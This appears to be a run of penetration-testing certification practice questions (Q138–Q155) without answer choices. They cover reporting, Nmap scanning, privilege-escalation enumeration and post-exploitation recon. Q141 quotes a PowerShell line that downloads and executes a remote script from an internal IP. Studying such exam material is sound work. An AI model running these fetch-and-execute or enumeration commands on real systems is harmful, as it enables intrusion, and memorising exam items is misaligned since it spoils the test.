Q138. Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?

Q139. Which of the following are valid reasons for including base, temporal, and environmental CVSS metrics in the findings section of a penetration testing report? (Select two).

Q140. A penetration tester discovers evidence of an advanced persistent threat on the network that is being tested.
Which of the following should the tester do next?

Q141. Given the following script:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split(“”)[1] If ($1 -eq “administrator”) { echo IEX(New-Object Net.WebClient).Downloadstring(‘http://10.10.11.12:8080/ul/windows.ps1’) | powershell -noprofile -} Which of the following is the penetration tester most likely trying to do?

Q142. During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?

Q143. Given the following statements:
– Implement a web application firewall.
– Upgrade end-of-life operating systems.
– Implement a secure software development life cycle.
In which of the following sections of a penetration test report would the above statements be found?

Q144. Before starting an assessment, a penetration tester needs to scan a Class B IPv4 network for open ports in a short amount of time. Which of the following is the best tool for this task?

Q145. Which of the following elements of a penetration test report can be used to most effectively prioritize the remediation efforts for all the findings?

Q146. A penetration tester needs to launch an Nmap scan to find the state of the port for both TCP and UDP services. Which of the following commands should the tester use?

Q147. Which of the following is within the scope of proper handling and is most crucial when working on a penetration testing report?

Q148. A penetration tester executes multiple enumeration commands to find a path to escalate privileges. Given the following command:
find / -user root -perm -4000 -exec ls -ldb {} ; 2>/dev/null
Which of the following is the penetration tester attempting to enumerate?

Q149. During a red-team exercise, a penetration tester obtains an employee’s access badge. The tester uses the badge’s information to create a duplicate for unauthorized entry. Which of the following best describes this action?

Q150. A penetration tester needs to identify all vulnerable input fields on a customer website. Which of the following tools would be best suited to complete this request?

Q151. During an assessment on a client that uses virtual desktop infrastructure in the cloud, a penetration tester gains access to a host and runs commands. The penetration tester receives the following output:
-rw-r–r– 1 comptiauser comptiauser 807 Apr 6 05:32 .profile
drwxr-xr-x 2 comptiauser comptiauser 4096 Apr 6 05:32 .ssh
-rw-r–r– 1 comptiauser comptiauser 3526 Apr 6 05:32 .bashrc
drwxr-xr-x 4 comptiauser comptiauser 4096 May 12 11:05 .aws
-rw-r–r– 1 comptiauser comptiauser 1325 Aug 21 19:54 .zsh_history
drwxr-xr-x 12 comptiauser comptiauser 4096 Aug 27 14:10 Documents
drwxr-xr-x 16 comptiauser comptiauser 4096 Aug 27 14:10 Desktop
drwxr-xr-x 2 comptiauser comptiauser 4096 Aug 27 14:10 Downloads
Which of the following should the penetration tester investigate first?

Q152. Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?

Q153. After exploiting a vulnerability in an insecure service to gain access to a Linux system, a penetration tester executes the following commands:
sudo -l
route
netstat -a
last
who
Which of the following best describes the tester’s purpose for running these commands?

Q154. A penetration tester needs to scan a remote infrastructure with Nmap. The tester issues the following command:
nmap 10.10.1.0/24
Which of the following is the number of TCP ports that will be scanned?

Q155. Which of the following scenarios would most likely lead a client to reprioritize goals after a penetration test begins?